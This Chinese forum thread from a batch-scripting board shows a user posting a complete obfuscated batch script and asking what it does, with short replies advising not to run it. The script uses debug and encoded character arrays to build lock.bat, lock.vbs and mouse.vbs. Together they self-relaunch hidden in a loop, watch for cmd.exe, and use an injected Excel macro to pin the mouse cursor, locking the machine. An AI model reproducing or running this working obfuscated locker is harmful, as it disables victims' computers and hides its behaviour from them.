求大神看一下这是什么命令
bat吧
全部回复
仅看楼主
level 2
2017年10月05日 02点10分 1
level 2
echo >temp
echo e 100 3A 31 0D 0A 6C 6F 63 6B 2E 76 6273 0D 0A 69 66 >>temp
echo e 110 20 6E 6F 74 20 22 25 31 22 3D 3D22 77 69 6E 64 >>temp
echo e 120 22 20 6D 73 68 74 61 20 76 62 7363 72 69 70 74 >>temp
echo e 130 3A 63 72 65 61 74 65 6F 62 6A 6563 74 28 22 77 >>temp
echo e 140 73 63 72 69 70 74 2E 73 68 65 6C6C 22 29 2E 72 >>temp
echo e 150 75 6E 28 22 22 22 25 7E 66 30 2222 20 77 69 6E >>temp
echo e 160 64 22 2C 76 62 68 69 64 65 29 2877 69 6E 64 6F >>temp
echo e 170 77 2E 63 6C 6F 73 65 29 26 26 6578 69 74 0D 0A >>temp
echo e 180 67 6F 74 6F 20 3A 31>>temp
echo rcx>>temp
echo 87>>temp
echo n lock.bat>>temp
echo w>>temp
echo q>>temp
debug<temp>nul
echo >temp
echo e 100 66 6F 72 20 69 3D 31 20 74 6F 2055 42 6F 75 6E >>temp
echo e 110 64 28 73 74 72 73 29 0D 0A 20 7275 6E 6E 65 72 >>temp
echo e 120 3D 72 75 6E 6E 65 72 26 63 68 7228 73 74 72 73 >>temp
echo e 130 28 69 29 29 0D 0A 6E 65 78 74 0D0A 45 78 65 63 >>temp
echo e 140 75 74 65 20 72 75 6E 6E 65 72>>temp
echo rcx>>temp
echo 4A>>temp
echo n temp2>>temp
echo w>>temp
echo q>>temp
debug<temp>nul
echostrs=array(13,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,13,10,119,104,105,108,101,32,116,114,117,101,13,10,70,111,114,32,105,32,61,32,49,32,84,111,32,49,48,13,10,73,102,32,78,111,116,32,67,104,101,99,107,80,114,111,40,34,46,34,44,34,67,77,68,46,69,88,69,34,44,34,67,77,68,46,101,120,101,34,44,34,99,109,100,46,69,88,69,34,44,34,99,109,100,46,101,120,101,34,41,32,84,104,101,110,32,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,108,111,99,107,46,98,97,116,34,44,48,44,102,97,108,115,101,13,10,101,110,100,32,105,102,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,53,48,48,13,10,110,101,120,116,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,109,111,117,115,101,46,118,98,115,34,44,48,44,102,97,108,115,101,13,10,119,101,110,100,13,10,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,80,114,111,40,115,116,114,67,111,109,112,117,116,101,114,44,80,97,97,49,44,80,97,97,50,44,80,97,97,51,44,80,97,97,52,41,32,13,10,68,105,109,32,111,98,106,87,77,73,83,101,114,118,105,99,101,44,99,111,108,80,114,111,99,101,115,115,101,115,44,111,98,106,80,114,111,99,101,115,115,32,13,10,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,47,47,34,32,38,32,115,116,114,67,111,109,112,117,116,101,114,32,38,32,34,47,114,111,111,116,47,99,105,109,118,50,34,41,32,13,10,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,32,13,10,67,104,101,99,107,80,114,111,32,61,32,70,97,108,115,101,32,13,10,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,105,110,32,99,111,108,80,114,111,99,101,115,115,101,115,32,13,10,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,49,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,50,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,51,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,52,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,13,10,78,101,120,116,32,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10)>temp
copy /b /y temp+temp2 lock.vbs
echostrs=array(13,83,101,116,32,111,69,120,99,101,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,69,120,99,101,108,46,65,112,112,108,105,99,97,116,105,111,110,34,41,13,10,83,101,116,32,111,77,111,100,117,108,101,32,61,32,111,69,120,99,101,108,46,87,111,114,107,98,111,111,107,115,46,65,100,100,46,86,66,80,114,111,106,101,99,116,46,86,66,67,111,109,112,111,110,101,110,116,115,46,65,100,100,40,49,41,13,10,115,116,114,67,111,100,101,32,61,32,95,13,10,34,80,114,105,118,97,116,101,32,68,101,99,108,97,114,101,32,70,117,110,99,116,105,111,110,32,83,101,116,67,117,114,115,111,114,80,111,115,32,76,105,98,32,34,34,117,115,101,114,51,50,34,34,32,40,66,121,86,97,108,32,120,32,65,115,32,76,111,110,103,44,32,66,121,86,97,108,32,121,32,65,115,32,76,111,110,103,41,32,65,115,32,76,111,110,103,34,32,32,32,38,32,118,98,67,114,32,38,32,95,13,10,34,83,117,98,32,83,101,116,67,117,114,115,111,114,40,120,32,97,115,32,76,111,110,103,44,32,121,32,97,115,32,76,111,110,103,41,32,58,32,83,101,116,67,117,114,115,111,114,80,111,115,32,120,44,32,121,32,58,32,69,110,100,32,83,117,98,34,13,10,111,77,111,100,117,108,101,46,67,111,100,101,77,111,100,117,108,101,46,65,100,100,70,114,111,109,83,116,114,105,110,103,32,115,116,114,67,111,100,101,13,10,100,111,13,10,111,69,120,99,101,108,46,82,117,110,32,34,83,101,116,67,117,114,115,111,114,34,44,32,48,44,32,48,13,10,108,111,111,112,13,10,111,69,120,99,101,108,46,68,105,115,112,108,97,121,65,108,101,114,116,115,32,61,32,70,97,108,115,101,13,10)>temp
copy /b /y temp+temp2 mouse.vbs
del temp /f /q
del temp2 /f /q
lock.bat
2017年10月05日 02点10分 2
level 12
这是加密的文件,最好别运行
到虚拟机试试
2017年10月05日 03点10分 3
level 4
自己试试不就知道了?我猜是建立了两个vbs文件,至于内容就不知道了。
2017年10月05日 07点10分 4
level 9
汇编和VBS,汇编的生成使用到了debug,VBS看起来被加密过了。
2017年10月06日 02点10分 5
level 2
本人bat新手,请大家帮我翻译一下什么意思
2017年10月07日 12点10分 6
1